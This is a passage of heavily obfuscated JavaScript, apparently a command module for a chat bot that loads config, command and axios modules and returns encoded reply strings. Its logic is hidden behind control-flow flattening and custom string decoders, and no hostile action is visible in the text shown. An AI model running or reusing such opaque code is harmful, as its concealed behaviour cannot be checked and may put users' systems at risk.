t7z2sP7.Mnn8ja.V4dlQS+0x191:case-0x2a:case-0x1e:Cpgwvi[-j4mj8aI[JD3GJAK+-0x134]]=Cpgwvi[j4mj8aI[0x0]].length;for(Cpgwvi[j4mj8aI[JD3GJAK+-0x149]]=j4mj8aI[0x0];Cpgwvi[j4mj8aI[0x22]]<Cpgwvi[-j4mj8aI[JD3GJAK+-0x134]];Cpgwvi[j4mj8aI[0x22]]++){Cpgwvi[j4mj8aI[JD3GJAK+-0x16a]][Cpgwvi[j4mj8aI[0x22]]]=\"\";for(Cpgwvi[j4mj8aI[0x38]]=j4mj8aI[JD3GJAK+-0x16b];Cpgwvi[j4mj8aI[0x38]]<Cpgwvi[-j4mj8aI[0x37]];Cpgwvi[j4mj8aI[0x38]]++)Cpgwvi[j4mj8aI[0x1]][Cpgwvi[j4mj8aI[0x22]]]+=Cpgwvi[j4mj8aI[0x0]][Cpgwvi[j4mj8aI[0x22]]][j4mj8aI[JD3GJAK+-0x16a]]===Cpgwvi[j4mj8aI[0x38]]?\"Q\":j4mj8aI[0x3c]}return nWc1eC=!0x0,Cpgwvi[j4mj8aI[0x1]];default:Cpgwvi[-j4mj8aI[0x37]]=Cpgwvi[j4mj8aI[JD3GJAK+-0x151]].length;for(Cpgwvi[j4mj8aI[0x22]]=j4mj8aI[JD3GJAK+-0x151];Cpgwvi[j4mj8aI[JD3GJAK+-0x12f]]<Cpgwvi[-j4mj8aI[0x37]];Cpgwvi[j4mj8aI[JD3GJAK+-0x12f]]++){Cpgwvi[j4mj8aI[0x1]][Cpgwvi[j4mj8aI[JD3GJAK+-0x12f]]]=\"\";for(Cpgwvi[j4mj8aI[JD3GJAK+-0x119]]=j4mj8aI[JD3GJAK+-0x151];Cpgwvi[j4mj8aI[0x38]]<Cpgwvi[-j4mj8aI[0x37]];Cpgwvi[j4mj8aI[0x38]]++)Cpgwvi[j4mj8aI[JD3GJAK+-0x150]][Cpgwvi[j4mj8aI[JD3GJAK+-0x12f]]]+=Cpgwvi[j4mj8aI[JD3GJAK+-0x151]][Cpgwvi[j4mj8aI[0x22]]][j4mj8aI[0x1]]===Cpgwvi[j4mj8aI[0x38]]?\"Q\":j4mj8aI[JD3GJAK+-0x115]}return nWc1eC=!0x0,Cpgwvi[j4mj8aI[0x1]];case-0x87:case l7N8Yqf- -0x104:xYKSbnZ(t7z2sP7.Mnn8ja.V4dlQS=0xd0,Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1],Cpgwvi[j4mj8aI[0x1]]=[],t7z2sP7.SNyDVA=t7z2sP7.Mnn8ja,JD3GJAK+=0x4d,l7N8Yqf+=0x2e);break;case l7N8Yqf- -0x33:xYKSbnZ(t7z2sP7.SNyDVA=t7z2sP7.Mnn8ja,JD3GJAK+=0x11e,l7N8Yqf+=-0x48);break;case-0x7a:case 0x9b:xYKSbnZ(t7z2sP7.SNyDVA=t7z2sP7.Mnn8ja,JD3GJAK+=-0xbf,l7N8Yqf++);break;case l7N8Yqf!=-0x57&&l7N8Yqf- -0xf2:case-0x48:xYKSbnZ(t7z2sP7.SNyDVA=t7z2sP7.Mnn8ja,JD3GJAK+=-0xbf,l7N8Yqf+=0xae);break}}xYKSbnZ(nWc1eC=void 0x0,JD3GJAK=l7N8Yqf(0x32,-0x58).next().value);if(nWc1eC){return JD3GJAK}}),Cpgwvi[-j4mj8aI[0x35]]=w9UYzR(function(...Cpgwvi){xYKSbnZ(Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0xe],Cpgwvi[j4mj8aI[0xf]]=Cpgwvi[j4mj8aI[0x0]].length);for(Cpgwvi[j4mj8aI[0x21]]=j4mj8aI[0x0];Cpgwvi[j4mj8aI[0x21]]<Cpgwvi[j4mj8aI[0xf]];Cpgwvi[j4mj8aI[0x21]]++){xYKSbnZ(w9UYzR(JD3GJAK),w9UYzR(nWc1eC));function nWc1eC(...Cpgwvi){xYKSbnZ(Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1],Cpgwvi[j4mj8aI[0xf]]=\"$cnkCGrfFBw{tjq(`X&)9;S5b?>%z*=|sHK~.MeI4d2PYDo+}!W/,VThlO[mgpJ37uiEv:x6A@<\\\"L18Q_R#0NZ]Uy^a\",Cpgwvi[j4mj8aI[0x39]]=\"\"+(Cpgwvi[j4mj8aI[0x0]]||\"\"),Cpgwvi[-j4mj8aI[0x3a]]=Cpgwvi[j4mj8aI[0x39]].length,Cpgwvi[j4mj8aI[0xc]]=[],Cpgwvi[j4mj8aI[0x24]]=j4mj8aI[0x0],Cpgwvi[j4mj8aI[0x1f]]=j4mj8aI[0x0],Cpgwvi[j4mj8aI[0x1d]]=-j4mj8aI[0x1]);for(Cpgwvi[j4mj8aI[0x2]]=j4mj8aI[0x0];Cpgwvi[j4mj8aI[0x2]]<Cpgwvi[-j4mj8aI[0x3a]];Cpgwvi[j4mj8aI[0x2]]++){Cpgwvi[j4mj8aI[0x2d]]=Cpgwvi[j4mj8aI[0xf]].indexOf(Cpgwvi[j4mj8aI[0x39]][Cpgwvi[j4mj8aI[0x2]]]);if(Cpgwvi[j4mj8aI[0x2d]]===-j4mj8aI[0x1])continue;if(Cpgwvi[j4mj8aI[0x1d]]<j4mj8aI[0x0]){Cpgwvi[j4mj8aI[0x1d]]=Cpgwvi[j4mj8aI[0x2d]]}else{xYKSbnZ(Cpgwvi[j4mj8aI[0x1d]]+=Cpgwvi[j4mj8aI[0x2d]]*j4mj8aI[0x15],Cpgwvi[j4mj8aI[0x24]]|=Cpgwvi[j4mj8aI[0x1d]]<<Cpgwvi[j4mj8aI[0x1f]],Cpgwvi[j4mj8aI[0x1f]]+=(Cpgwvi[j4mj8aI[0x1d]]&j4mj8aI[0x16])>j4mj8aI[0x17]?j4mj8aI[0x18]:j4mj8aI[0x19]);do{xYKSbnZ(Cpgwvi[j4mj8aI[0xc]].push(Cpgwvi[j4mj8aI[0x24]]&j4mj8aI[0x3]),Cpgwvi[j4mj8aI[0x24]]>>=j4mj8aI[0x2],Cpgwvi[j4mj8aI[0x1f]]-=j4mj8aI[0x2])}while(Cpgwvi[j4mj8aI[0x1f]]>j4mj8aI[0x5]);Cpgwvi[j4mj8aI[0x1d]]=-j4mj8aI[0x1]}}if(Cpgwvi[j4mj8aI[0x1d]]>-j4mj8aI[0x1]){Cpgwvi[j4mj8aI[0xc]].push((Cpgwvi[j4mj8aI[0x24]]|Cpgwvi[j4mj8aI[0x1d]]<<Cpgwvi[j4mj8aI[0x1f]])&j4mj8aI[0x3])}return hGVN1M(Cpgwvi[j4mj8aI[0xc]])}function JD3GJAK(...Cpgwvi){Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1];if(typeof l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]===j4mj8aI[0xa]){return l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]=nWc1eC(t7z2sP7[Cpgwvi[j4mj8aI[0x0]]])}return l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]}if(Cpgwvi[j4mj8aI[0x0]][Cpgwvi[j4mj8aI[0x21]]][j4mj8aI[0x0]]===Cpgwvi[j4mj8aI[0x1]][j4mj8aI[0x0]]||Cpgwvi[j4mj8aI[0x0]][Cpgwvi[j4mj8aI[0x21]]][j4mj8aI[0x1]]===Cpgwvi[j4mj8aI[0x1]][j4mj8aI[0x1]])return j4mj8aI[0x3b];if(v4cpGwm(JD3GJAK(0xbb)).abs((Cpgwvi[j4mj8aI[0x0]][Cpgwvi[j4mj8aI[0x21]]][j4mj8aI[0x0]]-Cpgwvi[j4mj8aI[0x1]][j4mj8aI[0x0]])/(Cpgwvi[j4mj8aI[0x0]][Cpgwvi[j4mj8aI[0x21]]][j4mj8aI[0x1]]-Cpgwvi[j4mj8aI[0x1]][j4mj8aI[0x1]]))===j4mj8aI[0x1])return j4mj8aI[0x3b]}return!0x0},j4mj8aI[0xe]),v4cpGwm(JD3GJAK(0xbc)).log(Cpgwvi[j4mj8aI[0x31]]))}function JEiVbfS(Cpgwvi,nWc1eC=j4mj8aI[0x1]){var JD3GJAK,uvNUdK;function*Vq1RC9(uvNUdK,eAjEOR,CvJLwkq,NALWSgm={tF_hYW3:{}},ZJKjos){while(uvNUdK+eAjEOR+CvJLwkq!==-0xd4)with(NALWSgm.mIS0IEE||NALWSgm)switch(uvNUdK+eAjEOR+CvJLwkq){case eAjEOR- -0x2:case-0x67:return l7N8Yqf[LO1sWn];case uvNUdK- -0x16:return l7N8Yqf[LO1sWn]=(0x1,NALWSgm.tF_hYW3.HbzYEA7)(t7z2sP7[LO1sWn]);case 0xc5:case 0xe9:case NALWSgm.tF_hYW3.H3OUwE+0x86:xYKSbnZ([eRezDrO.o0KHN5f]=ZJKjos,eRezDrO.EGYx4m=\"6E`@e<s^|mxYn])aoWrdP7.fw;lg#32D~ZLtyq(%vR=u!B1\\\":bpO_h&>/AS+I90C8Kz?j,VX*FJQUHGi}[MT4Nc{5$k\",eRezDrO.NcXDRD2=\"\"+(eRezDrO.o0KHN5f||\"\"),eRezDrO.EBQwLc=eRezDrO.NcXDRD2.length,eRezDrO.t69KV2=[],eRezDrO.KE86iOz=j4mj8aI[0x0],NALWSgm.mIS0IEE=NALWSgm.eRezDrO,uvNUdK+=0x142,eAjEOR+=-0x269);break;case NALWSgm.tF_hYW3.wZCnzLc+0xbf:return l7N8Yqf[LO1sWn];case 0xb8:xYKSbnZ([NALWSgm.tF_hYW3.NZ44EJ,NALWSgm.tF_hYW3.H3OUwE,NALWSgm.tF_hYW3.wZCnzLc]=[-0xd2,0x64,-0xd0],tF_hYW3.fEJgcKL=function(...uvNUdK){return Vq1RC9(-0xee,0xc4,-0x7f,{tF_hYW3:NALWSgm.tF_hYW3,XRFCrG:{}},uvNUdK).next().value},tF_hYW3.HbzYEA7=function(...uvNUdK){return Vq1RC9(-0x9b,0xd6,0xaf,{tF_hYW3:NALWSgm.tF_hYW3,eRezDrO:{}},uvNUdK).next().value},v4cpGwm((0x1,tF_hYW3.fEJgcKL)(0xbd))[(0x1,tF_hYW3.fEJgcKL)(j4mj8aI[0x8])](Cpgwvi,(0x1,tF_hYW3.fEJgcKL)(0xbf),{[(0x1,tF_hYW3.fEJgcKL)(0xc0)]:nWc1eC,[(0x1,tF_hYW3.fEJgcKL)(0xc1)]:j4mj8aI[eAjEOR+0xbc]}),NALWSgm.mIS0IEE=NALWSgm.tF_hYW3,uvNUdK+=-0x125,eAjEOR+=0x83,CvJLwkq+=-0xfd);break;default:xYKSbnZ(t69KV2.push((KE86iOz|uZkIPe<<UlVtJ3)&j4mj8aI[0x3]),NALWSgm.mIS0IEE=NALWSgm.eRezDrO,uvNUdK+=0x135,eAjEOR+=0x29,CvJLwkq+=-0x12e);break;case-0x2a:xYKSbnZ([NALWSgm.tF_hYW3.NZ44EJ,NALWSgm.tF_hYW3.H3OUwE,NALWSgm.tF_hYW3.wZCnzLc]=[-0x5b,-0xa0,-0x57],NALWSgm.mIS0IEE=NALWSgm.PbJ7Olp,uvNUdK+=-0x1d5,eAjEOR+=0xa0,CvJLwkq+=0xb6);break;case eAjEOR- -0x156:case 0xde:case 0x82:xYKSbnZ(NALWSgm.eRezDrO.UlVtJ3=j4mj8aI[uvNUdK+-(eAjEOR+0x23a)],NALWSgm.eRezDrO.uZkIPe=-j4mj8aI[uvNUdK+-0xa6]);for(NALWSgm.eRezDrO.Lmc39Ul=j4mj8aI[uvNUdK+-(eAjEOR+0x23a)];Lmc39Ul<EBQwLc;Lmc39Ul++){NALWSgm.eRezDrO.rClkFjI=EGYx4m.indexOf(NcXDRD2[Lmc39Ul]);if(rClkFjI===-j4mj8aI[eAjEOR+0x194])continue;if(uZkIPe<j4mj8aI[uvNUdK+-0xa7]){uZkIPe=rClkFjI}else{xYKSbnZ(uZkIPe+=rClkFjI*j4mj8aI[0x15],KE86iOz|=uZkIPe<<UlVtJ3,UlVtJ3+=(uZkIPe&j4mj8aI[0x16])>j4mj8aI[uvNUdK+-0x90]?j4mj8aI[eAjEOR+0x1ab]:j4mj8aI[0x19]);do{xYKSbnZ(t69KV2.push(KE86iOz&j4mj8aI[eAjEOR+0x196]),KE86iOz>>=j4mj8aI[0x2],UlVtJ3-=j4mj8aI[eAjEOR+0x195])}while(UlVtJ3>j4mj8aI[uvNUdK+-0xa2]);uZkIPe=-j4mj8aI[uvNUdK+-0xa6]}}if(uZkIPe>-j4mj8aI[0x1]){xYKSbnZ(NALWSgm.mIS0IEE=NALWSgm.eRezDrO,uvNUdK+=-0x73,eAjEOR+=0xe6);break}else{xYKSbnZ(NALWSgm.mIS0IEE=NALWSgm.eRezDrO,uvNUdK+=0xc2,eAjEOR+=0x10f,CvJLwkq+=-0x12e);break}case 0x66:return hGVN1M(t69KV2);case NALWSgm.tF_hYW3.H3OUwE+-0xb2:xYKSbnZ(NALWSgm.mIS0IEE=NALWSgm.tF_hYW3,uvNUdK+=-0x217,eAjEOR+=0xde,CvJLwkq+=0xa0);break;case eAjEOR-0x16f:return l7N8Yqf[LO1sWn]=(0x1,NALWSgm.tF_hYW3.HbzYEA7)(t7z2sP7[LO1sWn]);case-0xcb:case NALWSgm.tF_hYW3.H3OUwE+-0x14b:return JD3GJAK=!0x0,Cpgwvi;case 0xe1:case-0x51:case CvJLwkq!=-0x81&&CvJLwkq-0x2a:[XRFCrG.LO1sWn]=ZJKjos;if(typeof l7N8Yqf[XRFCrG.LO1sWn]===j4mj8aI[0xa]){xYKSbnZ(NALWSgm.mIS0IEE=NALWSgm.XRFCrG,CvJLwkq+=-0x2);break}else{xYKSbnZ(NALWSgm.mIS0IEE=NALWSgm.XRFCrG,uvNUdK+=0x9a,CvJLwkq+=-0x2);break}}}xYKSbnZ(JD3GJAK=void 0x0,uvNUdK=Vq1RC9(0xd1,-0x81,0x68).next().value);if(JD3GJAK){return uvNUdK}}CE7iyK[\"I93_ZGS\"](\"../config\");const{[QPjMkhN(0xc2)]:SgRhnEM,[QPjMkhN(0xc3)]:uXNx9a}=CE7iyK[\"I93_ZGS\"](\"../command\"),veXxWy=CE7iyK[\"I93_ZGS\"](\"axios\");function xYKSbnZ(){xYKSbnZ=function(){}}return SgRhnEM({[QPjMkhN(j4mj8aI[0x2e])]:QPjMkhN(0xc5),[QPjMkhN(0xc6)]:[QPjMkhN(0xc7)],[QPjMkhN(j4mj8aI[0x40])]:\"\\uD83D\\uDCA1\",[QPjMkhN(j4mj8aI[0x20])]:QPjMkhN(j4mj8aI[0x2f])+QPjMkhN(0xcb)+QPjMkhN(0xcc)+QPjMkhN(0xcd)+QPjMkhN(0xce)+j4mj8aI[0x3c],[QPjMkhN(0xcf)]:QPjMkhN(0xd0),[QPjMkhN(0xd1)+\"me\"]:v4cpGwm(QPjMkhN(0xd2))},async(Cpgwvi,nWc1eC,JD3GJAK,{[QPjMkhN(0xd3)]:uvNUdK,[QPjMkhN(0xd4)]:Vq1RC9,[QPjMkhN(0xd5)]:eAjEOR,[QPjMkhN(0xd6)]:CvJLwkq,[QPjMkhN(0xd7)+j4mj8aI[0x38]]:NALWSgm,[QPjMkhN(0xd8)]:ZJKjos,q:izMwD19,[QPjMkhN(0xd9)]:i2lcSFF,[QPjMkhN(0xda)]:vjfbPo,[QPjMkhN(0xdb)]:e7EaIf,[QPjMkhN(0xdc)]:ssGXYC,[QPjMkhN(0xdd)]:JEiVbfS,[QPjMkhN(j4mj8aI[0x34])]:SgRhnEM,[QPjMkhN(j4mj8aI[0x33])]:uXNx9a,[QPjMkhN(0xe0)]:vz_CVf,[QPjMkhN(0xe1)]:WJywvl,[QPjMkhN(0xe2)]:C5Rh4XD,[QPjMkhN(j4mj8aI[0x36])]:sfMvA9d,[QPjMkhN(0xe4)]:jP4qpbW,[QPjMkhN(0xe5)]:OXmBJhy,[QPjMkhN(0xe6)+\"ns\"]:pizwYi,[QPjMkhN(0xe7)]:e8_ZFwi})=>{if(!Vq1RC9){function f9QqyTn(Cpgwvi){var nWc1eC,JD3GJAK;function*uvNUdK(JD3GJAK,uvNUdK,Vq1RC9,eAjEOR,CvJLwkq={o4Z9kC:{}}){while(JD3GJAK+uvNUdK+Vq1RC9+eAjEOR!==-0x88)with(CvJLwkq.Ik6Ip9||CvJLwkq)switch(JD3GJAK+uvNUdK+Vq1RC9+eAjEOR){case Vq1RC9- -0x3f:xYKSbnZ(CvJLwkq.o4Z9kC.EB3rqs=j4mj8aI[Vq1RC9+0xb5],CvJLwkq.o4Z9kC.HNLGwYI=j4mj8aI[Vq1RC9+0xb5],CvJLwkq.o4Z9kC.pk6BxlL=-j4mj8aI[Vq1RC9+0xb6],CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,Vq1RC9+=0x18b,eAjEOR+=-0x1d5);break;case-0x93:case 0x2d:case eAjEOR-0xac:xYKSbnZ(CvJLwkq.o4Z9kC.W9ZDjom=Jo3ysc.length,CvJLwkq.o4Z9kC.mr_Q0X=[],CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=0x5a,Vq1RC9+=-0xbb,eAjEOR+=0xcf);break;case CvJLwkq.o4Z9kC.t2CEvy+-0x11c:case-0x85:xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.W5LTu5,JD3GJAK+=-0x111,uvNUdK+=0x98,Vq1RC9+=0x14c,eAjEOR+=0x32);break;case 0x31:case 0xef:default:xYKSbnZ([CvJLwkq.o4Z9kC.RxuqmZ,CvJLwkq.o4Z9kC.t2CEvy,CvJLwkq.o4Z9kC.dWMBQNW]=[0x39,0xd8,0xcc],o4Z9kC.nh4MD6u=\"KAF_UkE7GauvYWPBwoR<(c0pqQxsfbt@ir~#]5y+2[{.DZX9!4SOCLT%=N>3:}$)lVg`1/;8z?IH|dMJ,hejm^\\\"6&*n\",o4Z9kC.Jo3ysc=\"\"+(Cpgwvi||\"\"),CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=-0x4e,uvNUdK+=-0x89,Vq1RC9+=-0xc1,eAjEOR+=-0xd);break;case JD3GJAK- -0xca:case-0x9e:case 0xb7:xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=0x7,uvNUdK+=0x2e,Vq1RC9+=0xbd,eAjEOR+=-0x251);break;case uvNUdK- -0x6f:xYKSbnZ(mr_Q0X.push((EB3rqs|pk6BxlL<<HNLGwYI)&j4mj8aI[0x3]),CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=0xd3,Vq1RC9+=-0x147);break;case JD3GJAK!=-0x24&&JD3GJAK-0x52:case 0x38:case-0x1a:xYKSbnZ(mr_Q0X.push((EB3rqs|pk6BxlL<<HNLGwYI)&j4mj8aI[0x3]),CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=0xda,uvNUdK+=0x2a,Vq1RC9+=-0x3c,eAjEOR+=-0xcc);break;case uvNUdK- -0x8:return nWc1eC=!0x0,hGVN1M(mr_Q0X);case Vq1RC9- -0x104:xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.tv_a7Q,JD3GJAK+=-0xb,uvNUdK+=0x58,Vq1RC9+=0x45,eAjEOR+=-0x154);break;case CvJLwkq.o4Z9kC.RxuqmZ+-0xf9:for(CvJLwkq.o4Z9kC.R1pAM1=j4mj8aI[uvNUdK+0x34];R1pAM1<W9ZDjom;R1pAM1++){CvJLwkq.o4Z9kC.oNntSJ=nh4MD6u.indexOf(Jo3ysc[R1pAM1]);if(oNntSJ===-j4mj8aI[0x1])continue;if(pk6BxlL<j4mj8aI[uvNUdK+0x34]){pk6BxlL=oNntSJ}else{xYKSbnZ(pk6BxlL+=oNntSJ*j4mj8aI[Vq1RC9+-0xc1],EB3rqs|=pk6BxlL<<HNLGwYI,HNLGwYI+=(pk6BxlL&j4mj8aI[0x16])>j4mj8aI[0x17]?j4mj8aI[0x18]:j4mj8aI[0x19]);do{xYKSbnZ(mr_Q0X.push(EB3rqs&j4mj8aI[Vq1RC9+-0xd3]),EB3rqs>>=j4mj8aI[0x2],HNLGwYI-=j4mj8aI[uvNUdK+0x36])}while(HNLGwYI>j4mj8aI[0x5]);pk6BxlL=-j4mj8aI[Vq1RC9+-0xd5]}}if(pk6BxlL>-j4mj8aI[0x1]){xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,uvNUdK+=-0x48,Vq1RC9+=0x1a,eAjEOR+=0xe1);break}else{xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=0xd3,uvNUdK+=-0x48,Vq1RC9+=-0x12d,eAjEOR+=0xe1);break}case-0xdc:case Vq1RC9- -0xc2:case 0xd7:xYKSbnZ(CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=-0x51,uvNUdK+=0x2e,Vq1RC9+=0x1a0,eAjEOR+=-0x235);break;case CvJLwkq.o4Z9kC.RxuqmZ+-0xba:return nWc1eC=!0x0,hGVN1M(mr_Q0X);case-0x5e:case CvJLwkq.o4Z9kC.dWMBQNW+0x25:xYKSbnZ([CvJLwkq.o4Z9kC.RxuqmZ,CvJLwkq.o4Z9kC.t2CEvy,CvJLwkq.o4Z9kC.dWMBQNW]=[0xb2,-0x4,-0xa1],CvJLwkq.Ik6Ip9=CvJLwkq.o4Z9kC,JD3GJAK+=-0x92,uvNUdK+=0x2e,Vq1RC9+=0xbd,eAjEOR+=-0x20a);break}}xYKSbnZ(nWc1eC=void 0x0,JD3GJAK=uvNUdK(-0x30,0x55,0xc7,-0x2b).next().value);if(nWc1eC){return JD3GJAK}}function ayx_f1(Cpgwvi){if(typeof l7N8Yqf[Cpgwvi]===j4mj8aI[0xa]){return l7N8Yqf[Cpgwvi]=f9QqyTn(t7z2sP7[Cpgwvi])}return l7N8Yqf[Cpgwvi]}return e8_ZFwi(QPjMkhN(0xe8)+QPjMkhN(0xe9)+QPjMkhN(0xea)+QPjMkhN(0xeb)+QPjMkhN(0xec)+QPjMkhN(0xed)+ayx_f1(0xee)+ayx_f1(j4mj8aI[0x3d]))}if(!eAjEOR){function EHmPfO(Cpgwvi){var nWc1eC=\"c;Qt*p4]uA[>r2Ly}PN\\\"H%g#BFUCOxVR.1f3{aMq:olhds$m=DGbEJ_)~(Xj0K9Ik<6T7@W5&vw!Z|eiSn?8`,z^+/Y\",JD3GJAK,uvNUdK,Vq1RC9,eAjEOR,CvJLwkq,NALWSgm,ZJKjos;xYKSbnZ(JD3GJAK=\"\"+(Cpgwvi||\"\"),uvNUdK=JD3GJAK.length,Vq1RC9=[],eAjEOR=j4mj8aI[0x0],CvJLwkq=j4mj8aI[0x0],NALWSgm=-j4mj8aI[0x1]);for(ZJKjos=j4mj8aI[0x0];ZJKjos<uvNUdK;ZJKjos++){var izMwD19=nWc1eC.indexOf(JD3GJAK[ZJKjos]);if(izMwD19===-j4mj8aI[0x1])continue;if(NALWSgm<j4mj8aI[0x0]){NALWSgm=izMwD19}else{xYKSbnZ(NALWSgm+=izMwD19*j4mj8aI[0x15],eAjEOR|=NALWSgm<<CvJLwkq,CvJLwkq+=(NALWSgm&j4mj8aI[0x16])>j4mj8aI[0x17]?j4mj8aI[0x18]:j4mj8aI[0x19]);do{xYKSbnZ(Vq1RC9.push(eAjEOR&j4mj8aI[0x3]),eAjEOR>>=j4mj8aI[0x2],CvJLwkq-=j4mj8aI[0x2])}while(CvJLwkq>j4mj8aI[0x5]);NALWSgm=-j4mj8aI[0x1]}}if(NALWSgm>-j4mj8aI[0x1]){Vq1RC9.push((eAjEOR|NALWSgm<<CvJLwkq)&j4mj8aI[0x3])}return hGVN1M(Vq1RC9)}function ot1NPe(Cpgwvi){if(typeof l7N8Yqf[Cpgwvi]===j4mj8aI[0xa]){return l7N8Yqf[Cpgwvi]=EHmPfO(t7z2sP7[Cpgwvi])}return l7N8Yqf[Cpgwvi]}return e8_ZFwi(QPjMkhN(0xf0)+ot1NPe(0xf1)+ot1NPe(0xf2)+ot1NPe(0xf3)+ot1NPe(0xf4)+ot1NPe(0xf5)+j4mj8aI[0x3c])}if(!izMwD19){function tqcLr7W(Cpgwvi){var nWc1eC,JD3GJAK;function*uvNUdK(JD3GJAK,uvNUdK,Vq1RC9,eAjEOR={fk9YUL:{}}){while(JD3GJAK+uvNUdK+Vq1RC9!==-0xe9)with(eAjEOR.flREzv||eAjEOR)switch(JD3GJAK+uvNUdK+Vq1RC9){case-0x1e:xYKSbnZ(eAjEOR.fk9YUL.mNQzIbW=j4mj8aI[0x0],eAjEOR.fk9YUL.z8S940O=j4mj8aI[uvNUdK+0xe],eAjEOR.fk9YUL.b4SlIDl=-j4mj8aI[uvNUdK+0xf],eAjEOR.flREzv=eAjEOR.fk9YUL,JD3GJAK+=0x258,Vq1RC9+=-0x1ad);break;case uvNUdK-0x19:xYKSbnZ(eAjEOR.flREzv=eAjEOR.fk9YUL,JD3GJAK+=0xb8,uvNUdK+=-0x121,Vq1RC9+=-0x4);break;case JD3GJAK- -0xb1:xYKSbnZ(eAjEOR.fk9YUL.YqAh3I=ksP_qyL.length,eAjEOR.fk9YUL.VdUbvJz=[],eAjEOR.flREzv=eAjEOR.fk9YUL,Vq1RC9+=0xb0);break;case 0xf1:case eAjEOR.fk9YUL.vlscjBo+0x74:xYKSbnZ(VdUbvJz.push((mNQzIbW|b4SlIDl<<z8S940O)&j4mj8aI[0x3]),eAjEOR.flREzv=eAjEOR.fk9YUL,uvNUdK+=-0x4a,Vq1RC9+=-0x32);break;case eAjEOR.fk9YUL.vlscjBo+0x147:for(eAjEOR.fk9YUL.kbcb6Cl=j4mj8aI[0x0];kbcb6Cl<YqAh3I;kbcb6Cl++){eAjEOR.fk9YUL.qa6ONAt=tTTlum_.indexOf(ksP_qyL[kbcb6Cl]);if(qa6ONAt===-j4mj8aI[0x1])continue;if(b4SlIDl<j4mj8aI[0x0]){b4SlIDl=qa6ONAt}else{xYKSbnZ(b4SlIDl+=qa6ONAt*j4mj8aI[0x15],mNQzIbW|=b4SlIDl<<z8S940O,z8S940O+=(b4SlIDl&j4mj8aI[0x16])>j4mj8aI[JD3GJAK+-0xc2]?j4mj8aI[JD3GJAK+-0xc1]:j4mj8aI[0x19]);do{xYKSbnZ(VdUbvJz.push(mNQzIbW&j4mj8aI[0x3]),mNQzIbW>>=j4mj8aI[uvNUdK+0x10],z8S940O-=j4mj8aI[0x2])}while(z8S940O>j4mj8aI[JD3GJAK+-0xd4]);b4SlIDl=-j4mj8aI[0x1]}}if(b4SlIDl>-j4mj8aI[uvNUdK+0xf]){xYKSbnZ(eAjEOR.flREzv=eAjEOR.fk9YUL,uvNUdK+=-0x12c,Vq1RC9+=0x59);break}else{xYKSbnZ(eAjEOR.flREzv=eAjEOR.fk9YUL,uvNUdK+=-0x176,Vq1RC9+=0x27);break}default:return nWc1eC=!0x0,hGVN1M(VdUbvJz);case uvNUdK- -0x5f:xYKSbnZ(eAjEOR.fk9YUL.vlscjBo=-0xba,fk9YUL.tTTlum_=\"txK}wLg`qBHn4hAX0/WJCV;%blEDY837Q^Mz!PcI*v~<o=\\\"f:aj?p[RT)r+]S$ki.Gu9U2(|>dOyNF1m,Z_5@es{\",fk9YUL.ksP_qyL=\"\"+(Cpgwvi||\"\"),eAjEOR.flREzv=eAjEOR.fk9YUL,JD3GJAK+=-0x2a8,uvNUdK+=-0x21,Vq1RC9+=0x189);break;case Vq1RC9- -0x144:xYKSbnZ(eAjEOR.fk9YUL.vlscjBo=0xf,VdUbvJz.push((mNQzIbW|b4SlIDl<<z8S940O)&j4mj8aI[0x3]),eAjEOR.flREzv=eAjEOR.fk9YUL,JD3GJAK+=0xa8,uvNUdK+=-0x297,Vq1RC9+=0x36);break;case Vq1RC9-0x188:eAjEOR.fk9YUL.vlscjBo=0x9e}}xYKSbnZ(nWc1eC=void 0x0,JD3GJAK=uvNUdK(0x129,0x13,-0xca).next().value);if(nWc1eC){return JD3GJAK}}function vUaRpO(Cpgwvi){if(typeof l7N8Yqf[Cpgwvi]===j4mj8aI[0xa]){return l7N8Yqf[Cpgwvi]=tqcLr7W(t7z2sP7[Cpgwvi])}return l7N8Yqf[Cpgwvi]}return e8_ZFwi(vUaRpO(0xf6)+vUaRpO(0xf7)+vUaRpO(0xf8)+vUaRpO(0xf9)+vUaRpO(0xfa))}try{xYKSbnZ(w9UYzR(c02OFF),w9UYzR(jdJX9AD));function jdJX9AD(...Cpgwvi){xYKSbnZ(Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1],Cpgwvi[j4mj8aI[0xf]]=\"^DCXagWbjnqQLZRuTvB6Iw!A|E,eoc<l9iF>3Jx{;@5=8y?)Mkzf*/\\\"Kr`[$U.t:4SG%7#O(H}~Y&hV_Nm+p]Pd20s1\",Cpgwvi[j4mj8aI[0x3e]]=\"\"+(Cpgwvi[j4mj8aI[0x0]]||\"\"),Cpgwvi[j4mj8aI[0x22]]=Cpgwvi[j4mj8aI[0x3e]].length,Cpgwvi[j4mj8aI[0x38]]=[],Cpgwvi[j4mj8aI[0x3f]]=j4mj8aI[0x0],Cpgwvi[j4mj8aI[0x11]]=j4mj8aI[0x0],Cpgwvi[j4mj8aI[0x1d]]=-j4mj8aI[0x1]);for(Cpgwvi[j4mj8aI[0x2]]=j4mj8aI[0x0];Cpgwvi[j4mj8aI[0x2]]<Cpgwvi[j4mj8aI[0x22]];Cpgwvi[j4mj8aI[0x2]]++){Cpgwvi[j4mj8aI[0x1c]]=Cpgwvi[j4mj8aI[0xf]].indexOf(Cpgwvi[j4mj8aI[0x3e]][Cpgwvi[j4mj8aI[0x2]]]);if(Cpgwvi[j4mj8aI[0x1c]]===-j4mj8aI[0x1])continue;if(Cpgwvi[